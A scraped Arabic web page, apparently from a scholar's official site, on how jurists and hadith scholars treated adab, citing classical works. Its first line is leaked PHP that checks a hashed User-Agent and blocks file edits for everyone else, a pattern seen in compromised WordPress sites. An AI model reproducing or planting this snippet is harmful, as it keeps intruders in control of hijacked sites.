if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } عناية الفقهاء وأهل الحديث بالأدب - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

عناية الفقهاء وأهل الحديث بالأدب

قد اعتنى الفقهاء وأهل الحديث بهذا الباب فأفردوه بمؤلفات وجعلوه ضمن مؤلفاتهم فممن أفرد هذا الباب بالتأليف المستقل الإمام البخاري رحمه الله أفرده في كتابه «الأدب المفرد»، وكذلك الإمام ابن مفلح رحمه الله في «الآداب الشرعية والمنح المرعية» أفرده وجعله في ثلاثة مجلدات، وكذلك الخرائطي رحمه الله ألف كتابين أحدهما في مكارم الأخلاق والثاني في مساوئ الأخلاق، وكذلك الإمام محمد السفاريني رحمه الله شرح منظومة الآداب في كتاب سماه «غذاء الألباب شرح منظومة الآداب» وكذلك ابن حبان رحمه الله في نزهة الفضلاء وروضة العقلاء وابن قدامة رحمه الله في «مختصر منهاج القاصدين»، ومنهم من جعله ضمن كتب الفقه أو كتب الحديث فالإمام أبو داود رحمه الله ألفه وجعله في آخر كتابه، وابن حجر في بلوغ المرام كذلك أفرده وجعله في كتاب جامع في آخر كتابه، بل حتى المؤلفات المختصرة عند الحنابلة وغيرهم نجد أنهم أفردوا كتابًا أو بابًا في آخر كتبهم عن الآداب والأخلاق كما فعل ابن أبي موسى في الإرشاد في الفقه وابن بلبان في مختصر الإفادات وغيرهم كثير.

   ما المراد بالأدب والخلق؟ أحسن ما قيل في الأدب ما عرّفه ابن حجر رحمه الله في قوله هو استعمال ما يُحمد قولًا وفعلًا